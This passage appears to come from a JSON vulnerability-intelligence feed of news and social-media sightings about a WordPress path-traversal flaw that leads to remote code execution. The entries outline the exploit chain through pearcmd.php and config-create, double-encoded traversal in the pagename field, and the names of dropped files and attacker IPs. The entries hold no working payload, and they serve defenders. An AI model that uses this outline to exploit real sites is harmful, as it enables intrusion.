\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0438 \u0441\u0442\u0430\u043b \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u044f\u0442\u044c \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f WordPress 7.1.2. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u0432 \u0434\u0435\u0441\u044f\u0442\u044c \u0440\u0430\u0437, \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, Patchstack \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e 22 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u0432 17:44 UTC \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0435\u0440\u0432\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b IP, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0440\u044f\u0434 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0420\u043e\u0431\u0435\u0440\u0442\u043e\u043c \u0420\u0435\u0441\u0441\u043b\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u043e\u0446\u0435\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-87902 \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e, \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u0432 \u0435\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 9,2 \u0438\u0437 10.\n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e get_page_template(), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0443\u044e \u0437\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b .php, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0439\u0441\u044f \u0432\u043d\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u044b.\n\n\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b RCE \u0431\u044b\u043b \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0443\u0441\u043b\u043e\u0432\u0438\u044f:\n\n- \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0438\u043b\u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u044f\u044f \u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0441 \u0438\u043c\u0435\u043d\u0435\u043c, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u043c\u0441\u044f \u0441 page-, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, page-templates. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0446\u0435\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 PHP-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c.\n- \u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0412 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0444\u0430\u0439\u043b pearcmd.php, \u043a\u043e\u0433\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 register_argc_argv \u0432 PHP.\n\n\u0412 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438 WordPress \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 PHP \u0434\u043b\u044f Docker, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e cPanel \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 PHP \u043d\u0438\u0436\u0435 8.5.\n\nWordPress \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-87902 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c 7.1.2, \u043a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432\u043e \u0432\u0441\u0435 \u0432\u0435\u0442\u043a\u0438 \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 4.7 \u0438\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 4.6 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e.\n\nPatchstack \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u044f\u0434\u0440\u0430 WordPress, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0442\u0440\u0430\u0444\u0438\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0441\u044f \u0432 \u0434\u0435\u0441\u044f\u0442\u044c \u0440\u0430\u0437 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u044d\u0442\u0430\u043f \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0434\u0438\u0441\u043a.\n\n\u041d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 config-show \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 config-create, \u043a\u043e\u0442\u043e\u0440\u0443\u044e pearcmd \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430 \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0441 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043b\u0438\u0448\u044c \u0441\u0442\u0440\u043e\u043a\u0443, \u043f\u043e\u043c\u0435\u0447\u0430\u044e\u0449\u0443\u044e \u0445\u043e\u0441\u0442 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0434\u043b\u044f CVE-2026-87902. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u00ab\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439 \u0442\u0435\u0433, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u043f\u0440\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u00bb, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.\n\n\u0424\u0430\u0439\u043b\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 /tmp \u0438 /var/tmp \u0438 \u0438\u043c\u0435\u044e\u0442 \u0438\u043c\u0435\u043d\u0430 \u0442\u0438\u043f\u0430 wp-pear-rce-flag.php, poc87902.php, luci_.php \u0438 zeta_.php.\n\nPatchstack \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043d\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0437\u043e\u043d\u0434\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432 \u043f\u043e\u043b\u0435 pagename \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u043c \u043f\u043e\u043b\u0435\u043c 'page_id'.\n\n\u0412 \u0447\u0435\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c: 169.58.48.193, 169.58.48.195 \u0438 2001:df1:e8c0::106b. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2026-87902, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.1.2 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.", "url": "https://t.me/true_secator/8643"}, {"timestamp": "2026-09-24T12:07:37.958Z", "date_only": false, "value": "2026-09-24T12:07:37.958001Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3mwb7t3a2bg2v", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "a0452655-699f-4753-a394-23cf82ea43f4", "content": "\ud83d\uddb2\ufe0f #Noticia #CiberSeguridad #Cybersecurity #CiberNoticia\n\nAttackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\n\nLeer M\u00e1s / Read More...", "url": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3mwb7t3a2bg2v"}, {"timestamp": "2026-09-24T12:36:06.086Z", "date_only": false, "value": "2026-09-24T12:36:06.086569Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/neroqc.bsky.social/post/3mwbbfw4ljs23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "fe2cc0d6-2b32-4063-bfdf-40e126a9b930", "content": "Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure\nthehackernews.com/2026/09/atta...", "url": "https://bsky.app/profile/neroqc.bsky.social/post/3mwbbfw4ljs23"}, {"timestamp": "2026-09-24T13:00:01Z", "date_only": false, "value": "2026-09-24T13:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "previdian", "record": "CVE-2026-87902", "field": "timestamps.recorded_at", "uuid": "d94335f8-a75d-4714-b625-7e5c5418779a", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-24T13:00:44.237Z", "date_only": false, "value": "2026-09-24T13:00:44.237763Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d94335f8-a75d-4714-b625-7e5c5418779a", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "c0ffb515-fe88-49da-83ef-14669cd4d3ab", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d94335f8-a75d-4714-b625-7e5c5418779a"}, {"timestamp": "2026-09-24T13:46:29.168Z", "date_only": false, "value": "2026-09-24T13:46:29.168723Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mwbfdtdj5h2j", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "d8cc49f9-8aad-4c15-aa11-220a6ff90e30", "content": "Attackers are exploiting WordPress CVE-2026-87902 to include pearcmd.php and write PHP files when specific theme and server conditions are met.", "url": "https://bsky.app/profile/technology-news.bsky.social/post/3mwbfdtdj5h2j"}, {"timestamp": "2026-09-24T14:23:58.875Z", "date_only": false, "value": "2026-09-24T14:23:58.875900Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwbhgv4okc23", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "570c3f34-1b40-4933-9977-bc0f76f182e4", "content": "Yesterday: patch and probes.\nToday: attackers writing PHP via pearcmd on unpatched WordPress (CVE-2026-87902).\n\nUpdate past 7.1.1 to 7.1.2 (or your branch backport), then check logs and /tmp|/var/tmp for names like wp-pear-rce-flag.php, poc87902.php, luci_.php, zeta_.php.", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwbhgv4okc23"}, {"timestamp": "2026-09-24T14:28:57.840Z", "date_only": false, "value": "2026-09-24T14:28:57.840016Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/it-administrator.de/post/3mwbhpohsbc2u", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "477687e9-0a38-4014-91b0-c24b2270422a", "content": "Die kritische WordPress-L\u00fccke CVE-2026-87902 zeigt, wie schnell aus einem Sicherheitsupdate ein Wettlauf gegen die Zeit wird. Was hinter der Schwachstelle steckt, wie die Angriffe in drei Stufen ablaufen und warum das Update jetzt dringend ist.\n\nwww.it-administrator.de/wordpress-sc...", "url": "https://bsky.app/profile/it-administrator.de/post/3mwbhpohsbc2u"}, {"timestamp": "2026-09-24T14:45:14.656Z", "date_only": false, "value": "2026-09-24T14:45:14.656263Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/0daynews.bsky.social/post/3mwbimvgxjs2v", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "28bda4e0-4dcb-44ec-83e0-eb4148fee26e", "content": "WordPress core CVE-2026-87902: path traversal \u2192 unauthenticated RCE, CVSS 8.1. active exploitation confirmed\u2026 https://0daynews.com/articles/2026-09-24-wordpress-core-cve-2026-87902-path-traversal-exploited/?utm_source=bluesky&utm_medium=organic_social&utm_campaign=always_on&utm_content=hub-3471", "url": "https://bsky.app/profile/0daynews.bsky.social/post/3mwbimvgxjs2v"}, {"timestamp": "2026-09-24T15:00:07Z", "date_only": false, "value": "2026-09-24T15:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/iG746djsmIzMu48gr8Lxw7u_Ihwxlekn36voptDfQgw0SJg", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "ab4159ca-e67e-4e20-b8f5-abf0d520e616"}, {"timestamp": "2026-09-24T15:00:07Z", "date_only": false, "value": "2026-09-24T15:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/iG746djsmIzMu48gr8Lxw7u_Ihwxlekn36voptDfQgw0SJg", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "4918ec07-b821-4e7a-9178-48996e4633b5"}, {"timestamp": "2026-09-24T15:00:25Z", "date_only": false, "value": "2026-09-24T15:00:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/bpBR3SMT6S1ZM6gSLu43KuRA8ogcOQEe1xe9Q21ria7wK-c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "34ae11fe-312e-43f6-9e22-5e9e2424f208"}, {"timestamp": "2026-09-24T15:00:25Z", "date_only": false, "value": "2026-09-24T15:00:25.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/bpBR3SMT6S1ZM6gSLu43KuRA8ogcOQEe1xe9Q21ria7wK-c", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b470ea61-5309-4aa7-a4da-0e121909192c"}, {"timestamp": "2026-09-24T15:07:48.648Z", "date_only": false, "value": "2026-09-24T15:07:48.648761Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/entorisec.bsky.social/post/3mwbjvayrje2r", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "6ce3b881-6c42-4dca-8532-c4e35daedc19", "content": "WordPress fixed CVE-2026-87902 on Sept 22, a CVSS 9.2 unauthenticated RCE in page-template resolution. Patchstack and Previdian say exploitation began within hours, with 68 attempts logged by the next day. Patched versions: 7.1.2, 7.0.6, 6.9.9, 6.8.10.", "url": "https://bsky.app/profile/entorisec.bsky.social/post/3mwbjvayrje2r"}, {"timestamp": "2026-09-24T17:18:06.745Z", "date_only": false, "value": "2026-09-24T17:18:06.745912Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/threatcodex/statuses/117327153485595763", "record": "cve-2026-87902", "field": "creation_timestamp", "uuid": "4226fb4e-8b2d-435a-915b-3a1340556747", "content": "CVE-2026-87902: Attackers Started Probing WordPress Sites Hours After the Patch#CVE_2026_87902 https://patchstack.com/articles/cve-2026-87902-attackers-started-probing-wordpress-sites-hours-after-the-patch/", "url": "https://infosec.exchange/users/threatcodex/statuses/117327153485595763"}, {"timestamp": "2026-09-24T17:30:15.631Z", "date_only": false, "value": "2026-09-24T17:30:15.631736Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3mwbrtyca4a2z", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "02775320-8976-4f51-80c9-24b0c8e9350a", "content": "\ud83d\uddb2\ufe0f #Noticia #CiberSeguridad #Cybersecurity #CiberNoticia\n\nExplotan la vulnerabilidad CVE-2026-87902 de WordPress pocas horas despu\u00e9s de su divulgaci\u00f3n (PARCHEA!)\n\nLeer M\u00e1s / Read More...", "url": "https://bsky.app/profile/tierrasapiens.bsky.social/post/3mwbrtyca4a2z"}, {"timestamp": "2026-09-24T17:53:42Z", "date_only": false, "value": "2026-09-24T17:53:42.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/nwKJncZeL7J2LRkGTATK-6OpXBCH2gClGkL9xryT_cudFA", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "f6929422-252e-4715-832c-1e00f04f34bc"}, {"timestamp": "2026-09-24T17:53:42Z", "date_only": false, "value": "2026-09-24T17:53:42.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/nwKJncZeL7J2LRkGTATK-6OpXBCH2gClGkL9xryT_cudFA", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "b8e2154e-9dab-48a7-b58d-04395b31bd2a"}, {"timestamp": "2026-09-24T20:41:58.242Z", "date_only": false, "value": "2026-09-24T20:41:58.242914Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwc4kryxcf2l", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "926d96bb-6122-4c5d-828f-61de71fae9f3", "content": "Agency checklist for CVE-2026-87902 (active exploitation):\n\n1. Update every site still on \u22647.1.1 to 7.1.2 (or the backport for your branch)\n2. Review logs for suspicious pagename/page_id probes\n3. Check /tmp and /var/tmp for unexpected .php (wp-pear-rce-flag.php, poc87902.php, luci_.php, zeta_.php)", "url": "https://bsky.app/profile/wpsecurityninja.bsky.social/post/3mwc4kryxcf2l"}, {"timestamp": "2026-09-24T23:40:29.427Z", "date_only": false, "value": "2026-09-24T23:40:29.427909Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/webcreatorbox.com/post/3mwcgjwvqyc2x", "record": "CVE-2026-87902", "field": "creation_timestamp", "uuid": "61b84b61-cb2f-4df2-a5a4-d1677f482fb7", "content": "\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\uff1a\u3010\u91cd\u8981\u3011WordPress\u306e\u8106\u5f31\u6027\uff08CVE-2026-87902\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77\u306b\u3064\u3044\u3066 - 2026/09/24 | \u30ec\u30f3\u30bf\u30eb\u30b5\u30fc\u30d0\u30fc\u3010\u30a8\u30c3\u30af\u30b9\u30b5\u30fc\u30d0\u30fc\u3011 www.xserver.ne.jp/news_detail....", "url": 